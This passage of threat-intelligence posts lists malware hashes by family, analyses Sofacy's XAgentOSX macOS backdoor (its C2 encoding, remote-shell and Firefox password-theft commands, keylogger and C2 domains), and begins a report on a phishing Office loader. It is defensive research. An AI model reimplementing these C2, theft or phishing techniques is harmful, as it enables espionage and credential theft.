e9b0adc36455c221a680336ee6ec59320b618c6352621c5d721811e122f83747

c45b8444e8551666ddd4e13445e3a196039b9065e64ba7102d16067f40e0f412

4948be38b1d66191e5f201b88c920ebd4ac7450fb6eaadaf6215b64cd0af6f30

08a5a1c0b53592a8f0890447d71bcec5380f104a176277512ee52c063188e151

cbbfa84227d82360d79baf8ab4ee0f9a13d0fa7128eac72c0bd627d4dbbb06f9

3044a4b0cffdeaeeab425109e8cddc597e708f5025849b5d29bff35ce24f4e42

3656e5ced322c9aabb78983c2a40657c83ba7805320423e66b402cd20cdd57eb

28150a3e9f8d23c784923e9664086ad18aae71ef83e4a60ebfb1fd8bd5abbd80

f30838a6b53a892ae4e5231de1d2f74a2e51919a66e9e60da3de125c9bd1a521

c2adf4031508ade44343097904c63300c4bfbaa8727fce120a11b09da9bc0be0

596c2b8306493ba51bc0ca116a0508d3c1f47389e6fc9a2b313748f4fa3014bc

afa53aa70e484a3d35c1e8a1a50c96f9186f48c7aa10888b5c42b648fa5bfbfb

1f8da66ce073a08f45f724bfa31ffe2b266ada3847186018af8d381ffeaf1dac

5477e90ff3755d2807951850964a881b60158ae1f911ef2ffb4bdef32a4d62e9

4f846222f454c773b3db1a467155e388672e20b6edacc6406a75dbf09432108c

7c8e9eb4a6b3d59d02faab21b94664ed473c346731cc28c0036c2c3e14db581c

9405198e358c330918ad6c0965e4dd748663c8a8c564e37d54c8e13f01fe6536

904344a1193a0910153f034f6ec7c17feab572392454afb6a8dfd15dd4a38c19

b7bf333f959bb6b6aaaa53a724b5f9b02ea774ba4d093e14052c45fe83e8f02b

dcf99c3378de03489a62b131580c1e2fd9df1187ac25912cc6cd856cfe661037

555dd50c95045d2bbeae895286a00789089e6a86845975041d11879e7e8fbd37

6bbc47fd039bce4c7a6a163dd6ff380fdda9fd27d552fa8c66be20e3fabf6cd3

1f739f3f90382fb729401085388e2142d12fac724684c5b3dcf367b645781695

 

Shiotob

0733779b99ccced9808136088e08bed6518097fd892c51c150a5d7e99b755562

124e6d6d3da321ad04e7f3aa9ae1b29fea2f382e8903a72ce48091cce47127ce

164eab81c9ef0b14b4f93f7f5b60b0111d9eb3de3131c35f2f388837e0309b9e

194e6644ea8c81e8e6073434f5305c48fbd22dcbfe7d911ad36a314bf61ce301

1af5467950d5e171827936d522ae7fc47d7e92cb639d83a6d1b1e6170568987c

1ede3e09794eb4fbb5a9a67702aeca7495d7b9d12b47dc4493d5f645fa04279d

2209aa1f8719cc1f1bec10c0e2c611fff44107c54754b63af8bce748a9c2ba11

22fe4de964db8874728d54c8327f0763383b56bb838983ac2d0ad16f9a9f0296

24af6a68330743f0ba7e152d426f16768a915d619e807b56a4b7944c780fe46d

24d6ff074c68060d5bfd31c2a8784fc58033d865110f01778b6f43fb71d1be82

25e49603ccd58159180e10cc9df9944845870d3bd6dbaa2ce2a5ad16d5d224b8

2b7c4c4370000b258932ffe871e3cd9ec613c223ea129fd164d32070544ee53f

2d43697cacccfa10ac4fe3119a86bcc1113925f04d7b95e3297ace3ee1dbcb75

2edfc720a92bcdd2d42416ed6bb79ce84eec28a8316cb6160527627779c6b4db

317bfbe3107ac085d1751e04202b99e2ce8a75285e5033b789de34457c7ae7a7

347430676e7811c4433d4d10d7ff5695dd34083d9f37a32f5130e29263f3cb72

3a5020bbd52ef368d98f51a9caca2b266f0f5ec7719e8159e32dd08ad80e60c4

3a59673578576a0d1551c120f612217aa3ab1a511bb6eba03908ba3aa2719bf8

3b6a2050bfd395756237a48e39007279a0ed80cb1e1cec05bbe77f813befb002

3e325fe43a78054dad21049abc7ea56510959eb2da5a1e21dae3fe168106cade

4039ab72bce95e0ec30092a12a7d6d4f8509d5a6bc05fc8e6463c9a262060434

40a8deaeb8902947c6ba98ce0af62a6a487c3afcaf6e96dcda2fb27e6af9c122

4b64a23de0d09e2f9daeef283d4582bf04b416b465c1c6863b7698eb82b56c4e

4ee9a7fd63daab6d756193756c3a63b2bcc3a2c04397c6126b9c6f3b1ada0b5c

504d71d3e1ddf4487033d6c8a5840c7eccc5babcd7f23a5587eaa07aa61ea148

5914a658c65237b9e9516313c39efffd646b6e9573315a6353375863c1d5b6e5

5a41e1429c92d6cf63df37ef37f4d8b5ebcf51b6c002b118ea4edee5bca4669b

5b7e4c2df278c2bc9cc2dfa736227e28fdc3787173f4c5fcd30e0004ec06bdcb

5f2c52c65412800f0fa9d92c99a28196be265b8cded2d0c4699ecdf960acf2ef

60322c5ca2e234bcd7124c86e46f645d7aad2b5595038bc8343ac5324c482607

606708c9479e1df26545d469d3d54a0e268f01ad8aa061f6504968c3b1594a0c

60e0f5deef23f463180ea830bb9f237a4f542cd73c1bb2c52912ccb594fc0e08

67e0e3d8c9152ff41865fb9bf4deaf3a6a16939c7c6eb2b0ada9b3395594e45e

70b055c547b0d3f5a0b51ef1fe25abbff77f468cd3265da9b669fbd82e32fe56

77641a32ba820581a8abebcea6616570c4a8e290dfbf63a74577dc8355678160

77980048740f4b60b50bd1a2e4b1c2b1389b5bf66ad2e737591a68fa4172b456

78af5ca8fb40b44a8c0678c85df7d014c72758388345c36aa429aab66f0b2385

7cef6a7410d9d16d7981108a5c0320fdcc93d23dcbe6c35174ca5de061fd83e7

82c59dbb167a40cdfaab000c562ef97e3dc8fca7bb82a837790fc2cab36586b8

869ed7fdf1838b065b26e2700adfd95b6d3fe9f28cb5c41a839802cdd6b065cb

8bf6825e1ab1a6b09fe9cc2eae461d80b431309887b5c5fe14ed299c1a2f44c3

90510218184f3c92a14a04476aa1b8b7a00e6d98504fa13efe96ce19ba0e531a

94fd3688cbe6a0c732321ff7d6841e709d5530ecfc562343bc123637504f852b

957fd7a14616587ffedabe246bc397bba7e53ef4b02e805473ba6a2a6f68dc55

95fdb4474227c938f83b02005b90e8b3cb9103cc6c9b7472020eb09af5f00dab

9cd895dbaac82328557e290217c558053703f6374284243a2ba17ef69e4cfba3

9e416802a31ee6a61074dee670fe3a4f9f9897eb9327cff79e0721cab066f353

9eaa00aa6ca9122a1c7cbeeb3ef2ac0caa52794b85cdf811b0436aba70097528

a37d84e6c6fe7b4f426f28b0379dba9e3045ac083d46a95f8378c3c98d7ca9e2

a91cc0ef59dee1229644bd70f7744bd94d2af6dae19a1cbae685ed06fce707ea

abb6fe1515e8d0f9d7b23965a35db4a863f92daafa46942d1d42662f9937b99a

af0f00906d833b09adac0caa7028e9691c4090ef041d7cf62a80e8b7b10962e6

aff8f8711ca8eed648080884ff84c4dbe62d0ad401af6379def639b90098e802

b06746ed57ebeaf64c58217adafad28b9d2445c2d1cbeb67fa7a17a4be9a6328

b0752f8ae7d2a4922f018c8f02fd0e20d7674eadf94374734b75e64084af1d84

b098d0fcadab456a28db6cc7cfa9955e1d5c3fb88f9e457121a01af4a3169ec4

ba264b6fd7795fdea336364082491c7aba457cbf2edabf6c44df0562e34810ba

c670d4f30fb06df997adb263c753e21b2a6e2ebdad8ac436c24d4ddf44dc9924

c9e2d4881b2f8ce1d5503f56815541a90d1c0c7dc008b4e9b8456f05b377381a

cc2b53c035e575343bb5436e65b9b15d9fb8782637642c0b4c2ad87c314687b5

cfe49c0ce561b7834275f7f2d9f0cb8977025a095ab25d08c6c36c75863ddcc9

d3e34102a27677946131161ad3d3dce57f15b9b53bd0a1929bc226909b4ceea0

d5850ed32b01a10d2e6aa4a3997ae8f35cb3c595fde75929d61ecd13fab2455c

d906da427d56262f0ab04684edc1ca843618ad8033d063fd249ddd887981488e

dbe42c50bfa0dd6fe0b236fe5371bc294f43d48bbf1243d4f3b2a98041f0d3ab

e0bdde6336208df8807c299ef8157ec7fd9e777dfd1cc1d49534c19e1a44f811

e5114ab13097dff71d3f33dc5b9a9c4fb0206137babf41dde7c4ca614362098c

e51477fe6b9bf8d73b37825cf4033f34e634ea59e672fed823c4f0850e5dce54

ece07fc91c99bb3ea3ffdfaadb51e38679cba43287413ea95c8a47d157fcd488

f3e6cacf2a4fa6fa15596416263a0087ec0194db746081a08360cc69beec2f31

fb0f5ff4760f6869a63fc6ed01d19241d83919b88f70343473cb6af014fa8954

fc00bf8cc177e561cfa89a8d48fbc9a3d7bd57d3da33c56c401fd9c2437600ff

fcb208a9d8ad4c6ade0798410c3620bb3d57613efd1c01d35bd5b3b42c90db9b

fe9b87d98cb1e708ea6df4052677f2ea651f3c14f2a7c6d6aca9f4b905cbbdfa

fed5de3f9dbc37cf404e3a530d3358e6c1fbaf1a7d4833d19184b492a6f0da6b

 

KINS

786e347d5de0b2461049964b382ec2d93db62ad2541519c2f1be423fbde3e632

0f300996a5d57c43b90bf97f158fed23709284b1fe4bbcabc6b843538f4fe961

ea05b0aff29ff657a578eed301f79a2ae7a469cda10030151426eff85b2390ea

840d7f349f02bea4467b5a8f3cf7f3f4f43c6cc9452b01e75d2ee795c25f96ba

2392a69e522bd0a37e114ec53ef6c4e48aa6b8c5aa61b6a8ee7ed05d9e941014

a5c4fc9bcbdf145a880a80d0ec28d874d646100dda4f9a571b011d31c78d6b05

a12ba2482f7fc7f8e514c0f1e630d66357ddce32893873b3ebf8bc2c79e6aa2d

7c384f0d01cf765e2f90eb52bfc7e2c832d59c328809b5a9436050dfc6017b52

569e01c714f94d09cf379f9f21bf67a84b943b97df020493767aef3efd4a8aa4

b0924478d914647bc30460d7b0c5cd3aef79fff04a26a6fdc10728ba8bcd9418

fc38901913dad80cf32b2ffd124ffd850ee913295df4b1cc861589445527ffd7

162bfe3f8513c03d94908d04858974a3b27ad903ed263183b28a2230b8357e19

85a80a5706149c0be9f6ce1c6d23fdc405b992c2b7a2665da6b72ab213de9342

460acfc0a1eb8d7b1dac420d4500c386817706aa234997d7cb6df3ca869a9242

cf2eb541c0a546970ea3a3baf96dfd6be4515c54f5a220a57f049af137d418d5

f3bf1e6cfd4a21f6f6907833bfbd9d44a9499eea4e27c0e4415f7e3975fa559f

bd6b9940e87be866fd8cb893769c51a3e4266452f97270a97bc13685b420d308

62c32639b102a684d7aa8e1f04db7018d7107da0a3956904967f9fa79b021239

e00385bdda02b8cf7ddef4f4bff8301846a7f723a6b56a7f8151d5c7c978f502

c70ea6ec20ba7368009b46264102faba72aae16185f17b5bfc852f5d45bb7884

c98c731e7f38471cbe178eb117a25bda56c1cc8752419470f202c6aeaa5c1ad1

61a65f91952a71ef119b5a54012b4a48521d739a3afc881fe33276e733e421b6

1627e0c5c72d36738b6c94439a4d7d3d8a1202b4c8bc9f5c8f5b41a5c0216407

418863a96acfb5c4dcf6da12b6c2d44a29fbfc18e1ed78b26ae2070df9b48018

1b74f2bd5aa6dc07ab8014d3a59e192ad5a8020f9b71db4492f4c141fec64d58

6e66090be9481caff2cf24ccc4b6cb688f4a94a6ad0c51ae8fa9eb69c2f6baf2

4778c2771aee8926ffbf8d289c0792e16afbd838e599190af212b14cd8277784

4a013d43c58d55190b022c306344ff894210975181452085d058901444108eb8

b368428fd71a354d9e6a707b573c4b4a8131034efc0c4669b683ac7c486920b0

40791e4bb3d98c3154e85b6d463aa4b1be51857b298db3336d61d17a2220164a

c7c0e80232ed3dca0aa7e169560b5ec80d238550e6e536840a82ff3ae6457647

0021c6127bc6941a9b46d68e292b8de1a11d97ef3d19be168d3a77672feaa079

a6424a031483ba52aa444a0100e7332b6cdc1688bb31288a703e16c22851ae2e

b4be93cd20a86b77b43fac886182b1bc6c453ab63cb2851f259f10cd19e96035

e9e009edc5d1f4eb605483a107a2231743bbc3de071850cb00d31a9e878420e0

8edc01e7d5310780b21ece7a93287fbbd8ad50f5dbcb1c73079cd72706d01225

f221dd7f8f0c548dacf48fe2f51cfb853ea6434fefb7df3ea8ed9be3e3ae7d63

2456ccca16ef6470daded775c6b4a9236c979f762f921a6eb9efa5a87989daef

aa7d3ea85a3f57eb372d067c153d17137482e7e72de0fd943facf6db9d67af00

6bf91c779c5bad7d30051f12958464f183e6c0b9c3ed70b2e342828e166a3dd3

ddb71312f01fcaabdad15b8ed5fafc74114c6dffdb765c42cb5973001828090f

ee0395c2d4767f949989b6f5c97a8739e7fd90a2c064b997b1dcee34093db0ca

cf715fbd04bde7580c1f2fd38f5df56977cb9f39f06fe92a5e0b5426738eaa08

6c71f6103815004964aafbaa83ea9e33a8700f9d07d736e9a54d1cf1ec673612

f21872a03fcb62dbac5cd7ea2c92db4595f4a55906d7a91ffa6ce5cae2b84e91

cc6e90286ed80e36fad1899fd0c5fd8f9fd849235378b5a0a7afb1df6bf5c9de

57c6eccd40b32c73a0453a3df14ecabe4b5e21ed780f8c158232bfa43adcbd38

7cf2efec6a788c4a51cf32045bef1e1bf000bc51cff7b4158f5bff7c1a71c9ab

a536344cd162eaf8d45a0065fdfaa5aa10a302c8c10b3da4ef190f2e3207d583

7e2e0d6da8d4ff8db10a4c6859a79d87be4f0f1e488460ab134a2e11a24e2138

3864227ce59e0ddb9ded29ab35c33b550cdbb74a75ce125bcd4ce71e233a9745

02112837d7e28a074f8c265ed37ad7c2e1bc36d629ec9a2f1ba7bb83d614f342

0b40ea3ac6c5c4518bad068dd0478e4a76d202a1475bdaaabf6a81eeb36f5b66

e7642802bf90c9186d3ed93d946658e60b9708cba3286f5752b42ddd9c4e5c51

e28b8acd4028cd4a72449519f73a5abc9a0f1b742f01cb385b3737d5847e59e2

7a47eb663b35d6ffd47cba9cd5275208df638a17c084c99121ad7c3231bd15b3

019917abb1be811655303e4cc514d3abaa66b58d3455c5a4084bc6f2fe1dc2b0

f22eefafad27b61716d96cc54ef8c2e332c71b30e50bbc1c9cc0f15396c1e112

948597902acdbc6ee8fd6499bd8b8b7c1c940019d5fea4ce7e88dd388ec939d8

2a275c3f37280158309d67a86054516a8bba7a5cb364d51b3552996c2b6040e8

9e7036ae2f3f513a42a1201dfeaa607568eeda9b43ef4212e9d68cddead53eab

6beb5b396d26991feb16eeeb4ee8ced22e965607be056528f6fdee535134e7b7

93dcb90a22744e8b3c5ab3a4974cc9b72f6198189f3a42bb12417e775d0ad718

5a37dd804f4add6b2e75c366438181fafed4ab979cb694f6aa1e7ff77c1225e0

025f9924f04ff1b4b0953ef07ba9d60ce970c2fd9e887269caa72db3a9bba814

27236ebd9a399d394e83dccd4c267ca0213ed431e06b7cdd132274f402831d21

8fc39e6e868bbae45328e24a953f4974a22106c84c7c0fd713999687be774b22

d486d824d857a1dc294e6cfed2dc0c58514226125e4995cdcd04a8f8d9051f25

6ade6e7226c35f958bade2e81c6dfe8e4d083beba2a1a3fea6f5d7a7fc1051a9

912c59051f858c78194d30f08a337479db002e073c24d69cc9d23aabd662a3c9

04f5d3d96405b47c51aab8d8d0ad4b849c7b62e8869b8ce145de4528f73b4232

22c426e765df18cbaa92f42ad4d5b48dbbc78f9ed0ae6fe2881517814703027e

9937646b9aa37b3256eac7f4ac464e414ca4a4bc12fd6a1091001e7855f36e3d

43a90192ba12ab92ea567f2156bd53554d72cac7be15034e04c89d82e66500a2

5005f9bac9f0df698041221ee6abdca062d4fae39f0a0f04544d005e307b466d

326bd07373dc878054bef86dc7030eaecc51f0878fe4ccf43ecea7f60f6cf890

31f8346b01d9e3c307280bf900de4e91a57d579d5327f75fd697431bcdd20dd4

6d604f20aee68b276eaddb2a3d852137e8a34344838f3022abaef53770944646

51633bf1265ae5a3dacb435a78e15bb1ae96fd0da284b5faff97f412f9d362fc

ab2beec5b712d030810f4ec975c8f398cdc9486f678007375a692e23d1a50a1c

da9a6c0842062661384ef37683a196fbb768e6c43b358d059f20e07177a3fd65

c35a5f45b13b88d453cb953515783416def2537a0a372780fe4e6e20c58d9717

e855ab4fd90ec109fcf34d068f5162d462bb26d1998406af94d9c6050c72d9fb

23a71f634dadac915df9332a126343d8989b5492fe113b21badc3cfecb431c41

98ba54b02a466ca902d21d2a41f6d21efd7e8f38cd9a1d2d669dcbe0d31a8413

6c84df041c4da7ee5866a3dd46131dbde3f41613e871ee739bf021a32aefe03a

fffbc4536b681bd6e06a809593852d54db71f9d7d304491a425c49e1945c5085

30b97daff703812e860d15e18172ea1bcff9090c3ca02717c8ebabfb88d6fb7b

7d98ae50cccb308c51365ea7e76d793c845990724052923187a056ba36a0d9ca

a1f0956e034356a36be25f5213fd21857347a571034e65b14f3960a8cb8c1c42

e4e8aac2107834b2d895fc35d71bb396075d971c650ff173714c3d17956c7da6

62989ab56f11701b109cddf0eb20e995c833078bb40942a8c931589497c25948

 

Pushdo

14c358cc64a929a1761e7ffeb76795e43ff5c8f6b9e21057bb98958b7fa11280

242f192b9e985864ba5e3f6b0cb15efc280980e2b097d2ebaabd1d8de7117663

4c50fbe0c5e39ed3fe88136f3ce45d82f3e9975d1ba524d76466609ccded41d2

59a512bcd4af8aef4769ce8b4f31c5116c2e9b6bd09e76f4824a073072ea822e

5fe8cc8734fddd09e1479eac5fda9826eb44d191fd992e63f3db58ac6a23af67

676a14cda7ff14af9d944326ec4635facf9eb999208f5a7badbeff76d55321e4

6d921e055466eccc308ca73ada27b249eff33786fc7f4a6f2946158b91175505

7120cc2689e70fb4dfdab7708828476efea10fa9ef2a1cdfcd020a500ffcddbf

757f2c62637765cbc8c7b9f5f63ed4ab00f34485f516a66b2a81b4edfb731920

89cbfd9360251bbbcda1bac4d0674576ba19d6ae5a1828113ac7bd5adbfa809a

9cf72776a0e0a81a099028393c8fe8ee4e98c9da9a1e887807845939633661c8

bbeffcfe632fbdacd49e7370f5546c067bf513cf24dd86f6cb34d255a4dc6607

bcfcea47fac4e61330fec7c6c221cc926f4f90dd43891cecdd2995c8ff937d2a

c205430c4a278255a880f7eb301b6d43405752ecc19123305cc4278dd1b4f867

c2e8d313a086ad89e43130870977d9d1984311f9383d520b5c43f73ca4be6938

c38b5ac3e5c3fdcbf6752809e3e68d7d2bce6122613293f8822f008e7fa64139

c49ba3b8be64442bfbb0ce1c2b1a28c9e0b5829e9523558561163140183e36ac

cfd08932544be4608030cc7ec8deb1f8c93d01915e7b49c1da8b686ba1e00733

d2b23e336bad80b0a0f04b0b042bd76421b9342fe3329ad243b7806f242e4bda

d9a21f5a7c8560ce9a1368943509f791b568d18c2abd329cbb095662a7642ed6

da7d0125b71db066fa8f3981b0125f1955d2c4b20f37679eb99b55fd226c8693

dc07002a47c481613868ed10cf93fd4e4772d52da21c2b9cd1d6b5dc31cd9e71

decaf81a2f8a0f94f3ba112fcf805b7c1c955548486d615f56626a3b5771e384

e061a37cef414f8943972bf0fd2a990f7283a07b460aa2c9292c00323432f3b4

e6c7bfb41e99fceab5da3175267dcdfc0ff50263f8718dfb638539bc9aa4a862

ef28d191d15e2f00dfa9612c8ea4923af25c13ee68a9ac1c41cee5f8ab8f1a6c

f0c85788f33916c6d2f811860d5e1d6bdc44a44ada980aad7a65039757cae6c7

fb4933942a1bbea64443fd94118efe412cfc3db3242fe6bd60643c7d7595998f

 

Tinba

0482ac285c4e941a82de2425c3572ef2b951f90423d85627a282147fb3b95d14

3026114a699e5f50a49c2a4ee0844c8a6ac217f8e9185d1735b79a13379e8fd8

43740f3254084090f5d9dc5e74af184b8021a3e07c4d0e645f227852eccb0020

5eea0da8c31b48ce3e88fdd0f24192a4305a472f1f44f3740796d0622feb7f9b

78fb0b44a54d336178ea021503c71539ef364bfa9f4c003c91591a0a4a4047fa

94c12b0de0e28a5c88d9b3242793f1d1cd4ff4a86a4bce991e68f3d2e04c56a6

a8c8b1fd20d79235fd74f7c3722453412ad5ff589bbd8e3ce300e364e3495c2e

fcee667cb6900ddf55029f1f806995f73cd5be75912f1c94c905a6d177353e1f

 

Zeus

c27160f42b2ace99149db759c4edc15c95b5a8b95e8daf70f02b201d804e2ac2

4b66d77bd775c7695f7211b95808e14c5cbef8c6d69e3749b21868bad296f22e

 

Rovnix

fdca8fa4368763899eff263d472850273ac9df672e0867d4aa3546bb439be291

XAgentOSX: Sofacy’s XAgent macOS Tool

During our continued research on Sofacy’s Komplex Trojan, we have found a sample of a backdoor Trojan that we believe the Sofacy group uses when targeting individuals running macOS systems. The backdoor Trojan authors have called it XAgentOSX, which shares the name XAgent with one of Sofacy’s Windows-based Trojan and references Apple’s previous name for macOS, OS X. It appears the same actor developed both the Komplex and XAgentOSX tools, based on similarities within the following project paths found within the tools:

Komplex: /Users/kazak/Desktop/Project/komplex

XAgent OSX: /Users/kazak/Desktop/Project/XAgentOSX

We believe it is possible that Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system.

XAgent C2 Communications

The macOS variant of XAgent has ability to receive commands from threat actors via its command and control channel, but is also capable of logging key strokes via its keylogger functionality. XAgent uses HTTP requests to communicate with its C2 servers, which allows the threat actor to interact with the compromised system. The Trojan uses HTTP POST requests, as seen in Figure 1 to send data to the C2 server, and GET requests to receive commands from the server, as seen in Figure 2. We are still analyzing this Trojan to determine the specific structure of the data sent between the Trojan and the C2 server; however, it does appear that the Trojan is using the RC4 algorithm to encrypt data sent to the C2 server within HTTP POST requests.

fig1

Figure 1 XAgent macOS HTTP POST request

fig2

Figure 2 XAgent mscOS HTTP GET request

The C2 URLs generated by XAgentOSX are very similar to those created by its Windows-based counterpart. When generating the URL for the HTTP requests issued to the C2 server, the Trojan chooses a random folder from the following to include within the URL path:

watch/?
search/?
find/?
results/?
open/?
search/?
close/?

XAgent also will choose several parameters names from the following list when finishing the construction of the C2 URL:

itwm=
text=
from=.
itwm=
ags=
oe=
aq=
btnG=
oprnd=
itwm=
utm=
channel=

The XAgent OSX Trojan generates a system specific value that it refers to as an "agent_id", which is a unique identifier for each compromised host. The value is derived using the IOService to access the IOPlatformUUID property, which is equivalent to the "Hardware UUID" listed in the system information application, as seen in the Figure 3 screenshot of our analysis system. The Trojan uses the first four bytes of this hardware ID as a unique identifier for the system, which in our case was "0000".

fig3

Figure 3 Hardware ID used by XAgent to uniquely identify compromised hosts

When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value. This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system. The data structure used to transmit the agent_id to the C2 is as follows:

struct {
DWORD random_value_for_key;
CHAR[7] constant_value;
DWORD agent_id;
}

The constant value in the data structure is a 7 byte string that is hardcoded to "\x56\x0E\x9F\xF0\xEB\x98\x43", followed by the agent_id value ("0000" in our case). The first DWORD in the data is a random value that the Trojan will use as an XOR key to encrypt the constant value and the agent_id. For instance, the following 15 bytes were used to generate an HTTP parameter during our analysis:

 

Random Value Constant Value agent_id
0F EE C8 83 56 0E 9F F0 EB 98 43 30 30 30 30

 

The resulting ciphertext is then encoded using XAgent's base64 encoding routine that starts by building the following encoding alphabet:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_

As you can see, this is not the standard base64 alphabet, rather it is the "URL and Filename safe" Base 64 Alphabet from RFC 4648, as the "+" in the standard alphabet is replaced with "-" and the "/" replaced with "_". It then uses the base64 encoding function with this alphabet to encode the data, which in the above case resulted in:

D-7Ig1ngV3PkdouzP974

The Trojan then creates a string of 9 random symbols and appends the encoded ciphertext to this random string. For example, the following string would be included in one of the HTTP parameters sent to the C2 server:

eRmaVsr90D-7Ig1ngV3PkdouzP974

In this specific case, the actor made a mistake when configuring this XAgent sample with its C2 locations. The sample creates an array that contains the following strings for the Trojan to use as C2 locations:

http://23.227.196[.]215/
http://apple-iclods[.]org/
http://apple-checker[.]org/
http://apple-uptoday[.]org/
http://apple-search[.]info

Notice the last one is missing the trailing "/", which causes an issue when the Trojan attempts to use this string to build the remainder of the C2 URL, as the Trojan will append the next string in the URL directly to this string. For instance, when using this string we observed DNS queries for "apple-search.infoclose", as the string "close" was supposed to be the next portion of the C2 URL.

Available Commands

The XAgent C2 server will provide commands for the Trojan to run on the compromised system within its response to inbound HTTP request. The XAgentOSX Trojan includes responses to commands within HTML tags, which we believe allows the C2 server to format logs for viewing.

In most cases, the responses sent to the C2 server are included between the "<font size=4 color=000066><pre>" and "</pre></font>" HTML tags. We analyzed the command handler and found that it provided the necessary commands for a fully functional backdoor, as seen in Table 1. The command handler obtains a command identifier from the C2 server and adds 0xFFFFFF9B to this value and then uses a switch statement to determine the appropriate command to execute. The switch statement checks for 19 cases, between 101 and 119. (Updated to correct command IDs, thanks @mykill!)

Command ID Function  Description
101 getInfoOSX Gathers username and OSX version and responds using the encrypted form of the following string: "Mac OS X - [OSX version] x64<br>\nUser name - [username]"
102 getProcessList Runs "ps aux" to obtain a list of running processes
103 remoteShell Runs supplied command using "/bin/sh"
104 getInstalledAPP Gets a list of installed applications by running the command "ls -la /Applications"
105 showBackupIosFolder Checks to see if an IOS device was backed up to the system by running the command "ls -la ~/Library/Application\ Support/MobileSync/Backup/"
106 downloadFileFromPath Uploads a file from a specified path
107 createFileInSystem Downloads a file, specifically provided within the C2 server's HTTP response
108 execFile Executes a specified file on the system using the NSTask:launch method
109 deletFileFromPath Deletes a specified file using the NSFileManager:removeFileAtPath method
110 takeScreenShot Takes a screenshot using the CGGetActiveDisplayList, CGDisplayCreateImage, NSImage:initWithCGImage methods. Returns the screenshot to the C2 via: <img src='data:image/jpeg;base64,[base64 of screenshot]' width=800 height=500 /><br>
111 startTakeScreenShot Creates a thread to take a screenshot at a set interval (default: every 10 seconds). Uses the same method in "takeScreenShot" function
112 stopTakeScreenShot Closes the thread created in the "startTakeScreenShot" function
116 getFirefoxPassword Looks for folders with "/Firefox/Profiles" in the path and reads the contents of the "logins.json" file for "hostname", "encryptedUsername" and "encryptedPassword" entries. It also attempts to issue the following SQL query on the "signons.sqlite" file: "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?"
117 ftpUpload Uses FTPManager:uploadFile method and a supplied server name, username and password.
118 ftpStop Calls "stopOperation" method, but does not appear to stop FTP uploads.
119 readFiles Obtains file information on a file or a folder, and supports a "*" wildcard and recursive file list. The code will gather the information and format the list using the following HTML to create a table:

<table>
<tr><td>Type</td><td>Owner</td><td>Permissions</td><td>Created</td><td>Modificated</td><td>Size</td><td>Path</td></tr>
<tr><td>[fileType]</td><td>[fileOwnerAccountName]</td><td>[number filePosixPermissions]</td><td>[fileCreationDate]</td><td>[fileModificationDate]</td><td>[fileSize]</td><td>[file path?]</td></tr>
...
</table>

Table 1 Commands available within XAgent OSX

The ‘showBackupIosFolder’ command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad. We believe this command is used to determine if a mobile device was backed up, and we speculate that the actors would use other commands within XAgent to exfiltrate those files.

Keylogging Functionality

XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them. XAgent logs key strokes by calling the CGEventTapCreate function to set an event hook to call a callback function named _myCGEventTapCallBack when it detects pressed keys. This callback function will call a function named pressedKeyWithKeyCode, which is responsible for logging the keystrokes. The keylogger will monitor for active application windows and write them to the log in the following format:

<span class='keylog_process'>[Application Name]</span>

The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format:

<span class='keylog_user_keys'>[logged keystrokes]</span>

The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format;

<span class='keylog_spec_key'>[special character]</span>

Infrastructure

The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers:

23.227.196[.]215
apple-iclods[.]org
apple-checker[.]org
apple-uptoday[.]org
apple-search[.]info

When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure. We were also unable to find any additional infrastructure based on the primary C2 location of 23.227.196[.]215. However, according to CrowdStrike, the nearby IP address 23.227.196[.]217 hosted the C2 location for an XTunnel payload used by the Sofacy group in the attack on the Democratic National Committee. While these IP addresses do not directly overlap, it does appear that the Sofacy group continues to use the same hosting services to host their infrastructure.

Conclusion

The Sofacy group continues to bolster their toolset to carry out attack campaigns on multiple platforms. In this case, the threat group uses the same name XAgent for this macOS-based tool as one of their Windows-based tools. Also, the macOS variant of this tool uses a similar network communications method as its Windows counterpart, which suggests this group continues to use consolidated C2 services to control compromised hosts, as we saw during our comparison of the Komplex and Seduploader (formerly referred to as Sofacy Carberp) tools. Also, while we lack attack telemetry, we were able to find a loose connection to the attack campaign that Sofacy waged on the Democratic National Committee based on hosting data in both attacks.

Palo Alto Networks customers are protected from XAgentOSX via:

  • Known samples are detected as malicious by WildFire
  • All known C2 locations are marked as malicious in PANDB
  • Users can use AutoFocus tag XAgent to track this threat

Indicators of Compromise

SHA256

2a854997a44f4ba7e307d408ea2d9c1d84dde035c5dab830689aa45c5b5746ea

Command and Control

23.227.196[.]215
apple-iclods[.]org
apple-checker[.]org
apple-uptoday[.]org
apple-search[.]info

Unique Office Loader Deploying Multiple Malware Families

Palo Alto Networks has recently analyzed a unique loader for Microsoft Office that leverages malicious macros that is being used to deploy numerous malware families. The loader was originally witnessed in early December of 2016, and over 650 unique samples have been observed since then. These samples account for 12,000 malicious sessions targeting numerous industries. The loader itself is primarily delivered via email and makes use of heavily obfuscated malicious macros as well as a user account control (UAC) bypass technique that was originally discovered in August 2016.

Delivery

As previously mentioned, the loader is primarily delivered via phishing emails. When looking at the roughly 12,000 malicious sessions, we encounter the following subject lines and filenames most frequently:

Top Subjects

  1. ENQ RFQ19-SIS-2017
  2. Order 032.
  3. PURCHASE ORDER
  4. FINAL REMINDER!! TOP URGENT Saudi Arabian Oil Company : Request for quotation no.7202159560
  5. Obeikan Purchase Enquiry...
  6. ORDER TRIAL
  7. Re: Our policy
  8. RFQ PO 7700 8800 9900
  9. AW: Attachment
  10. Verify Your Email Now!!!

Top Filenames

  1. Invoice #74267363.doc
  2. QING_SHUN 20161201_Q88.doc
  3. ProductList.doc
  4. Lebanon deposit slip.doc
  5. ENQ-19-0143-SIS.xls
  6. Company Profile.doc
  7. CONTRACT AND LABEL SABAROT.doc
  8. New-RFQ.doc
  9. PO#19651.doc
  10. WIRE SCANCOPY-001.doc
